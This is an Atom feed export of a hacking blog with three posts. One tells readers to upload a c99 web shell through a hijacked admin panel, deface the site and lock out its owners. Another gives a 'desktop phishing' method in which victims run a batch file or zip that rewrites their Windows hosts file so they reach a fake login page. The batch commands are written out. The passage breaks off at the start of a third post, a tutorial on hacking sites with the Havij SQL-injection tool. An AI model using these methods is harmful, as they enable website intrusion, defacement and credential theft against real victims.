<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-6112219237224679293</id><updated>2024-11-01T03:34:23.499-07:00</updated><title type='text'>Learn | HackingSkillz</title><subtitle type='html'>hacking is only the trick which makes a man to be sharper in new technology securities........</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://hackeramit4u.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://hackeramit4u.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>Amit Hacker For You</name><uri>http://www.blogger.com/profile/01309230198947967799</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>68</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-6112219237224679293.post-7366304426351689908</id><published>2011-06-01T03:10:00.001-07:00</published><updated>2011-06-01T03:14:52.381-07:00</updated><title type='text'>Shell Uploading</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #cc0000;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: large;&quot;&gt;What is Shell ?&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
A shell script is a script written for the shell, or command line interpreter, of an operating system. It is often considered a simple domain-specific programming language. Typical operations performed by shell scripts include file manipulation, program execution, and printing text.&lt;br /&gt;
This is a plain c99 shell, BUT it is Undetected so you should not get a warning from a anti virus if you download it. (update: not Undetected anymore )&lt;br /&gt;
I am not going to explain SQLi just how to deface.&lt;br /&gt;
Sql Tut- http://hackingmania.com/Blog/sql-injection-and-defacement-for-beginners-tutorial&lt;br /&gt;
So now go get yourself a vulnerable site, hack it and get the Admin Login details and get the Admin Page address.&lt;br /&gt;
Now login to the admin page with the admin details you got.&lt;br /&gt;
Go through the admin page until you find a place where you can upload a picture (Usually a picture).&lt;br /&gt;
Now you have to upload the shell. Right if you don’t get an error it is all good.&lt;br /&gt;
Now to find the shell&lt;br /&gt;
Go through the site until you find any image and if you are using firefox Right&lt;br /&gt;
- Click on it and “Copy Image Location”&lt;br /&gt;
Make a new tab and paste it there.&lt;br /&gt;
It will probably look something like this:&lt;br /&gt;
http://www.example.com/images/photonamehere.jpg&lt;br /&gt;
So now that we know that change “/photonamehere.jpg” to “/c99ud.php.jpg” (Without Qoutes)&lt;br /&gt;
Now a page will come up looking like this:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3_QbI-WwiruKPGqwzveusph3m-4EzDy0JeeKvS5ea6YKM2JpaPLWUjRqQcKdZX2reRB3B19sMHjn0n1MagjGe8q95vFcIp96-1N2Lim4gBYfwYgeAaWq4G9N7ZS5d1VQYkdPFovJKMLY/s1600/igz03k.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;171&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3_QbI-WwiruKPGqwzveusph3m-4EzDy0JeeKvS5ea6YKM2JpaPLWUjRqQcKdZX2reRB3B19sMHjn0n1MagjGe8q95vFcIp96-1N2Lim4gBYfwYgeAaWq4G9N7ZS5d1VQYkdPFovJKMLY/s320/igz03k.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Does probably not look like that but will look similar.&lt;br /&gt;
Now you have access to all the files on the site&lt;br /&gt;
What you want to do is now,&lt;br /&gt;
Find index.php or whatever the main page is, and replace it with your HTML code for your Deface Page.&lt;br /&gt;
Then you can either delete all the other files OR (and I recommend this) Let it redirect to the main page.&lt;br /&gt;
Keep in mind:&lt;br /&gt;
• Change Admin Username and Password&lt;br /&gt;
•The people have FTP access so you need to change that Password too .&lt;br /&gt;
•Always use a Proxy or VPN&lt;br /&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackeramit4u.blogspot.com/feeds/7366304426351689908/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackeramit4u.blogspot.com/2011/06/shell-uploading.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/7366304426351689908'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/7366304426351689908'/><link rel='alternate' type='text/html' href='http://hackeramit4u.blogspot.com/2011/06/shell-uploading.html' title='Shell Uploading'/><author><name>Amit Hacker For You</name><uri>http://www.blogger.com/profile/01309230198947967799</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3_QbI-WwiruKPGqwzveusph3m-4EzDy0JeeKvS5ea6YKM2JpaPLWUjRqQcKdZX2reRB3B19sMHjn0n1MagjGe8q95vFcIp96-1N2Lim4gBYfwYgeAaWq4G9N7ZS5d1VQYkdPFovJKMLY/s72-c/igz03k.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6112219237224679293.post-2209743551324590766</id><published>2011-06-01T02:44:00.000-07:00</published><updated>2011-06-01T02:44:11.585-07:00</updated><title type='text'>Desktop Phishing Hack</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Lucida Grande&#39;, Arial, Helvetica, sans-serif; font-size: 13px; line-height: 22px;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;It is an advance form of phishing. Kindly read my previous post on normal phishing&amp;nbsp;before proceeding.&lt;/b&gt;&lt;b&gt;Difference between phishing and desktop phishing is as&amp;nbsp;&lt;/b&gt;&lt;b&gt;follows.&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;In phishing :-&lt;/b&gt;&lt;/div&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_ufGdCaQ3M3k/TSXyZKZY_0I/AAAAAAAAAF4/ndWstZe13Fg/s1600/phishing.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em; text-align: justify;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;173&quot; src=&quot;http://2.bp.blogspot.com/_ufGdCaQ3M3k/TSXyZKZY_0I/AAAAAAAAAF4/ndWstZe13Fg/s200/phishing.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;&lt;b&gt;1.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;Attacker convinces the victim to click on the link of fake login page which resembles a genuine login page.&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;2&lt;/b&gt;.Victim enters his credentials in fake login page that goes to attacker.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;3&lt;/b&gt;.Victim is then redirected to an error page or genuine website depending on attacker.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;But main drawback in phishing is that victim can easily differentiate between fake and real login page by&amp;nbsp;looking at the domain name. We can overcome this in desktop phishing by spoofing domain name.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;In desktop phishing:-&lt;/b&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_ufGdCaQ3M3k/TSXs5qeW3nI/AAAAAAAAAF0/qXylv8Na0LE/s1600/dphising.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em; text-align: justify;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;201&quot; src=&quot;http://2.bp.blogspot.com/_ufGdCaQ3M3k/TSXs5qeW3nI/AAAAAAAAAF0/qXylv8Na0LE/s320/dphising.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;1&lt;/b&gt;. Attacker sends an executable/batch file to victim and victim is supposed to double click on it. Attacker&#39;s job is done.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;2&lt;/b&gt;. Victim types &amp;nbsp;the domain name of orignal/genuine website and is taken to our fake login page.&amp;nbsp;But the domain name remains the same as typed by victim and victim doesn&#39;t come to know.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;3&lt;/b&gt;. Rest of the things are same as in normal phishing.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;What is Hosts File ?&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;The hosts file &amp;nbsp;is a text file containing domain names&amp;nbsp;and IP address associated with them.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: #f3f3f3;&quot;&gt;Location of hosts file in windows: C:\Windows\System32\drivers\etc\&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Whenever we visit any website, say www.anything.com , an query is sent to &amp;nbsp;Domain Name Server(DNS) to &amp;nbsp;look up for the IP address associated with that website/domain. But before doing this the hosts file&amp;nbsp;on our local computer is checked for the IP address associated to the domain name.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Suppose we make an entry in hosts file as shown. When we visit www.anywebsite.com , we would&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;be taken to this 115.125.124.50. No query for resolving IP address&amp;nbsp;associated with www.anywebsite.com would be sent to DNS.&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_ufGdCaQ3M3k/TSXRMXS0EuI/AAAAAAAAAFs/pMwyJSH8zNQ/s1600/host.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;253&quot; src=&quot;http://3.bp.blogspot.com/_ufGdCaQ3M3k/TSXRMXS0EuI/AAAAAAAAAFs/pMwyJSH8zNQ/s320/host.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;What is attack ?&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;I hope you have got an idea that how modification of this hosts file on victim&#39;s computer can be misused.&amp;nbsp;We &amp;nbsp;need to modify victim&#39;s hosts file by adding the genuine domain name and IP address of our&amp;nbsp;fake website /phishing page. Whenever victim would visit the genuine website , he would be directed to our fake login page&amp;nbsp;and domain name in the URL box would remain genuine as typed by victim. Hence domain name is spoofed.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: medium;&quot;&gt;Two Steps to perform attack :-&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;1. Create and host phishing page on your computer.&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;2. Modify victim&#39;s host file&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b style=&quot;background-color: white;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #990000;&quot;&gt;Step 1 -:&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #990000;&quot;&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Since the webshosting sites like 110mb.com,ripway.com etc where we usually upload our phishing page do not&amp;nbsp;provide a IP that points to your website like www.anything.110mb.com. An IP address points to a webserver&amp;nbsp;and not a website. So we need to host the phishing page on our computer using a webserver software like wamp&amp;nbsp;or xampp.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: #f3f3f3;&quot;&gt;&lt;b&gt;Kindly read my simple &amp;nbsp;tutorial on setting up XAMPP webserver&amp;nbsp;&lt;a href=&quot;http://www.explorehacking.com/2011/01/setting-webserver-host-webpages-on-your.html&quot;&gt;here&lt;/a&gt;&amp;nbsp;&amp;nbsp;and this step would be clear to you.&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #990000;&quot;&gt;Step 2.&amp;nbsp;&lt;/span&gt;This &amp;nbsp;step can performed in two different ways.&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;Method 1 - Send victim a zip file containing modified host file . When Zip file would be clicked, It would automatically replace victim&#39;s orignal hosts file with modified hosts file.&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Copy your hosts file and paste it anywhere . Modify it according to yourself..Edit it with any text editor and associate your public IP address with domain you wish as show.&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_ufGdCaQ3M3k/TSXRRUOcpQI/AAAAAAAAAFw/3vk_kLZb6II/s1600/host1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://3.bp.blogspot.com/_ufGdCaQ3M3k/TSXRRUOcpQI/AAAAAAAAAFw/3vk_kLZb6II/s320/host1.jpg&quot; width=&quot;305&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Like in this case , when victim would visit gmail.com , he would be taken to website hosted on IP &#39;xxx.xxx.xxx.xxx&#39;.Replace it with your public IP.Compress hosts file such that when victim opens it, it automatically gets copied to default&amp;nbsp;location&amp;nbsp;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: #f3f3f3;&quot;&gt;C:\Windows\system32\drivers\etc&lt;/span&gt;&amp;nbsp;and victim&#39;s hosts file get replaced by our modified hosts file.&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_ufGdCaQ3M3k/TSXQ2dv4T-I/AAAAAAAAAFU/WRrBEK1vwaw/s1600/1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;http://2.bp.blogspot.com/_ufGdCaQ3M3k/TSXQ2dv4T-I/AAAAAAAAAFU/WRrBEK1vwaw/s400/1.jpg&quot; width=&quot;217&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_ufGdCaQ3M3k/TSXQ6DkQg3I/AAAAAAAAAFY/wP0x4S-5KXM/s1600/2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;377&quot; src=&quot;http://2.bp.blogspot.com/_ufGdCaQ3M3k/TSXQ6DkQg3I/AAAAAAAAAFY/wP0x4S-5KXM/s400/2.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_ufGdCaQ3M3k/TSXQ8tlVMUI/AAAAAAAAAFc/N4QjVlkeUSM/s1600/3.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;378&quot; src=&quot;http://4.bp.blogspot.com/_ufGdCaQ3M3k/TSXQ8tlVMUI/AAAAAAAAAFc/N4QjVlkeUSM/s400/3.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_ufGdCaQ3M3k/TSXQ_Tb1EvI/AAAAAAAAAFg/l7kv_Ff-4HA/s1600/4.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;http://4.bp.blogspot.com/_ufGdCaQ3M3k/TSXQ_Tb1EvI/AAAAAAAAAFg/l7kv_Ff-4HA/s400/4.jpg&quot; width=&quot;301&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_ufGdCaQ3M3k/TSXRBlnXT_I/AAAAAAAAAFk/RLiKHQA9KKc/s1600/5.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;http://4.bp.blogspot.com/_ufGdCaQ3M3k/TSXRBlnXT_I/AAAAAAAAAFk/RLiKHQA9KKc/s400/5.jpg&quot; width=&quot;303&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_ufGdCaQ3M3k/TSXRFkeG5TI/AAAAAAAAAFo/GaLS3CrWyfo/s1600/6.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;http://1.bp.blogspot.com/_ufGdCaQ3M3k/TSXRFkeG5TI/AAAAAAAAAFo/GaLS3CrWyfo/s400/6.jpg&quot; width=&quot;301&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;div style=&quot;text-align: left;&quot;&gt;Then you can bind this file with any exe ( using a binder or directly give it to victim. He is supposed to click it&amp;nbsp;and you are done .&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;Method 2 - Create a batch file which would modify hosts file as per your need.&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Open your notepad and type the following text&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: #f3f3f3;&quot;&gt;echo xxx.xxx.xxx.xxx. www.watever.com &amp;gt;&amp;gt; C:\windows\system32\drivers\etc\hosts&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: #f3f3f3;&quot;&gt;echo xxx.xxx.xxx.xxx watever.com &amp;gt;&amp;gt;&amp;nbsp;C:\windows\system32\drivers\etc\hosts&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i style=&quot;background-color: white;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: xx-small;&quot;&gt;Obviously replace it with your IP and website acc. to yourself.&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_ufGdCaQ3M3k/TSXQxJfKByI/AAAAAAAAAFQ/BvMjhzYpiwY/s1600/dphish.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;99&quot; src=&quot;http://1.bp.blogspot.com/_ufGdCaQ3M3k/TSXQxJfKByI/AAAAAAAAAFQ/BvMjhzYpiwY/s640/dphish.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i style=&quot;background-color: white;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: xx-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;Save file as &#39;all files&#39; instead of txt files and name it anything.bat . Extension must be .bat&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;When victim would run this file, a new entry will be made in hosts file.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;You can test both the above methods to modify your own hosts file&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;b&gt;Limitations of attack :-&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;b&gt;1&lt;/b&gt;.Since our pubilc IP address is most probably dynamic that it gets changed everytime we disconnect and&amp;nbsp;connect. To overcome this we need to purchase static IP from our ISP.&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;b&gt;2.&lt;/b&gt;&amp;nbsp;The browser may warn the victim that Digital Certificate of the website is not genuine.&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;Countermeasures:-&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Never just blindly enter your credentials in a login page even if you yourself have typed a domain name in&amp;nbsp;web browser. Check the protocol whether it is &quot;http&quot; or &quot;https&quot; . https is secure.&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackeramit4u.blogspot.com/feeds/2209743551324590766/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackeramit4u.blogspot.com/2011/06/desktop-phishing-hack.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/2209743551324590766'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/2209743551324590766'/><link rel='alternate' type='text/html' href='http://hackeramit4u.blogspot.com/2011/06/desktop-phishing-hack.html' title='Desktop Phishing Hack'/><author><name>Amit Hacker For You</name><uri>http://www.blogger.com/profile/01309230198947967799</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_ufGdCaQ3M3k/TSXyZKZY_0I/AAAAAAAAAF4/ndWstZe13Fg/s72-c/phishing.jpg" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6112219237224679293.post-3390920509870081927</id><published>2011-03-05T20:46:00.000-08:00</published><updated>2011-03-05T21:03:05.935-08:00</updated><title type='text'>SQL Injection in Easy steps......!!!!!!</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: white; font-family: Verdana, Arial, sans-serif; font-size: 13px; line-height: 18px;&quot;&gt;&lt;span class=&quot;smalltext&quot; style=&quot;font-size: 11px;&quot;&gt;&lt;strong&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: white;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: black;&quot;&gt;[SQL] HACK SITES USING Havij v1.14&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;post_body&quot; id=&quot;pid_2956&quot; style=&quot;font-family: Verdana, Arial, sans-serif; font-size: 13px; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px;&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: white;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: black;&quot;&gt;it is simple tut how to use havij to hack sites&amp;nbsp;&lt;img alt=&quot;Smile&quot; border=&quot;0&quot; src=&quot;http://hackcommunity.com/images/smilies/smile.gif&quot; style=&quot;border-bottom-style: none; border-color: initial; border-color: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial; border-width: initial; padding-right: 0px; vertical-align: middle;&quot; title=&quot;Smile&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
